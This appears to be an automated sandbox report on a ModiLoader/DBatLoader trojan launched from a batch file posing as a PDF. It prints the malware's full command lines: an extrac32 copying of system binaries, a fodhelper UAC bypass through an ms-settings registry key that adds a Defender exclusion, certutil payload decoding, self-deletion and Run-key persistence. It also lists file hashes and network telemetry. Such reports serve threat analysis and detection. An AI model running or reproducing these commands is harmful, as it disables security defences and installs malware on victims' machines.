"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4D97DC9E18F912EAF36B0559FEDEF12E --mojo-platform-channel-handle=2544 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0BF1661C248AF43462C666D118498DC3 --mojo-platform-channel-handle=1892 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

Network

Country Destination Domain Proto
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 43.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 135.240.123.92.in-addr.arpa udp
US 8.8.8.8:53 211.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 180.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 104.193.132.51.in-addr.arpa udp

Files

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 0d21db57a5d1432520edfa90c5c86ce8
SHA1 7be5f3a6572740c3605eb7d479349c8ad954b98e
SHA256 80c86805d0875ce4121f162e94f001e8fed1423eec4a0e6678fbb8285bf06e0b
SHA512 a68948e0c1d576ed80c0f646749e236d1c1d551de8bd0ee5ab49568f0d8b982b30cf8067b5e48a8686ccfe52937531d2b19d796a8d3e05dd874f609dc991b6f4

memory/2344-132-0x000000000C4C0000-0x000000000C76B000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-03-26 06:45

Reported

2024-03-26 06:48

Platform

win7-20240221-en

Max time kernel

127s

Max time network

138s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat"

Signatures

ModiLoader, DBatLoader

trojan modiloader

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

Program crash

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WerFault.exe C:\Users\Public\Libraries\Lewxa.com

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open\command C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\ms-settings\shell\open C:\Windows\system32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2768 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2768 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2768 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2636 wrote to memory of 2240 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2636 wrote to memory of 2240 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2636 wrote to memory of 2240 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2768 wrote to memory of 2896 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2896 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2896 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2896 wrote to memory of 3048 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2896 wrote to memory of 3048 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2896 wrote to memory of 3048 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2768 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2688 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2688 wrote to memory of 2452 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2688 wrote to memory of 2452 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2688 wrote to memory of 2452 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2768 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2912 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2912 wrote to memory of 2500 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2912 wrote to memory of 2500 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2912 wrote to memory of 2500 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 2500 wrote to memory of 2396 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2500 wrote to memory of 2396 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2500 wrote to memory of 2396 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 2396 wrote to memory of 2388 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2396 wrote to memory of 2388 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2396 wrote to memory of 2388 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 2768 wrote to memory of 2184 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2184 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2184 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2184 wrote to memory of 2532 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2184 wrote to memory of 2532 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2184 wrote to memory of 2532 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2768 wrote to memory of 1252 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 1252 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 1252 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1252 wrote to memory of 2356 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1252 wrote to memory of 2356 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 1252 wrote to memory of 2356 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2768 wrote to memory of 2432 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2768 wrote to memory of 2432 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2768 wrote to memory of 2432 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2768 wrote to memory of 2432 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2768 wrote to memory of 2824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2824 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2408 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2964 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2964 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2964 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 2796 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 1696 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 1696 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2768 wrote to memory of 1696 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1696 wrote to memory of 1032 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1696 wrote to memory of 1032 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1696 wrote to memory of 1032 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat"

C:\Windows\system32\cmd.exe

cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\reg.exe

reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\Libraries\Lewxa.com

C:\\Users\\Public\\Libraries\\Lewxa.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\cmd.exe

cmd /c del "C:\Users\Public\alpha.exe" / A / F / Q / S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2432 -s 780

Network

Country Destination Domain Proto
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp

Files

\Users\Public\alpha.exe

MD5 ef70856e875a628e03df9867f6a9abd6
SHA1 97f8064fe2197d6002068d8380410fdfc81730e5
SHA256 f168a9bab7a544fab673f52abdf4e14dce7b624fab336545e6ea66919680fe61
SHA512 bb1b204f213d5ebe8b85082e17c5f8fdf20837bba08e486db08e3abceef16de2b4c4be053b1a300ece7f793bea360c5d6bdfb2684780fa2de87af9682ed7b396

C:\Users\Public\alpha.exe

MD5 5746bd7e255dd6a8afa06f7c42c1ba41
SHA1 0f3c4ff28f354aede202d54e9d1c5529a3bf87d8
SHA256 db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386
SHA512 3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

\Users\Public\xkn.exe

MD5 852d67a27e454bd389fa7f02a8cbe23f
SHA1 5330fedad485e0e4c23b2abe1075a1f984fde9fc
SHA256 a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8
SHA512 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

memory/2500-21-0x000000001B040000-0x000000001B322000-memory.dmp

memory/2500-22-0x0000000001E70000-0x0000000001E78000-memory.dmp

memory/2500-23-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

memory/2500-24-0x0000000002480000-0x0000000002500000-memory.dmp

memory/2500-25-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

memory/2500-26-0x0000000002480000-0x0000000002500000-memory.dmp

memory/2500-27-0x0000000002480000-0x0000000002500000-memory.dmp

memory/2500-28-0x0000000002480000-0x0000000002500000-memory.dmp

memory/2500-33-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

\Users\Public\kn.exe

MD5 ec1fd3050dbc40ec7e87ab99c7ca0b03
SHA1 ae7fdfc29f4ef31e38ebf381e61b503038b5cb35
SHA256 1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3
SHA512 4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

C:\Users\Public\Lewxa.txt

MD5 6d75d7c7cc50099ca677b647ca9ce8d3
SHA1 b0bb8832ccbc990c8f6c69ec61c2e73bc9bc8cad
SHA256 6ef611c9602ce5918ab87951f9ffd851b1fb53decbd199d073a9823d6b330bf4
SHA512 b2d93df8a1ae31b052045a50bf5ca10b80e9e3d34359bac69d5626ccc399e375b66b07cca1fd202435fb526ae7f9bde1f56bb8767b5a9051d59de9829d45e2b2

C:\Users\Public\Libraries\Lewxa.com

MD5 2dfc4938d980a733ca8484df24df9886
SHA1 4660364cb6a885580eb67731ae6b2bd32842d07d
SHA256 26d0349541b20a4c51524c7f422946667fa1261e42c0eec960dbb368030ced25
SHA512 de7f56d137a97dd172fffe54325d8718cfc1bdebf0c210e2308da7ba437b79a59096e3b0db03abb4f0b6005114df436a8ffb997ffe3cba08c89b818636f7b4ea

memory/2432-47-0x0000000000230000-0x0000000000231000-memory.dmp

memory/2432-54-0x0000000002F40000-0x0000000003F40000-memory.dmp

memory/2432-55-0x0000000002F40000-0x0000000003F40000-memory.dmp

memory/2432-58-0x0000000000230000-0x0000000000231000-memory.dmp

memory/2432-59-0x0000000000400000-0x0000000000551000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-03-26 06:45

Reported

2024-03-26 06:48

Platform

win10v2004-20240226-en

Max time kernel

150s

Max time network

155s

Command Line

C:\Windows\Explorer.EXE

Signatures

ModiLoader, DBatLoader

trojan modiloader

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\International\Geo\Nation C:\Users\Public\xkn.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows \System32\5760350.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bknjadtw = "C:\\Users\\Public\\Bknjadtw.url" C:\Users\Public\Libraries\Lewxa.com N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1056 set thread context of 3516 N/A C:\Windows\SysWOW64\SndVol.exe C:\Windows\Explorer.EXE
PID 1056 set thread context of 2884 N/A C:\Windows\SysWOW64\SndVol.exe C:\Windows\SysWOW64\systray.exe
PID 2884 set thread context of 3516 N/A C:\Windows\SysWOW64\systray.exe C:\Windows\Explorer.EXE

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\taskkill.exe N/A
N/A N/A C:\Windows\system32\taskkill.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \Registry\User\S-1-5-21-3045580317-3728985860-206385570-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 C:\Windows\SysWOW64\systray.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\\Users " C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000_Classes\ms-settings\shell\open\command C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000_Classes\ms-settings C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000_Classes\ms-settings\shell C:\Windows\system32\reg.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000_Classes\ms-settings\shell\open C:\Windows\system32\reg.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Script User-Agent

Description Indicator Process Target
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A
HTTP User-Agent header Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Users\Public\xkn.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Public\Libraries\Lewxa.com N/A
N/A N/A C:\Users\Public\Libraries\Lewxa.com N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\SndVol.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A
N/A N/A C:\Windows\SysWOW64\systray.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
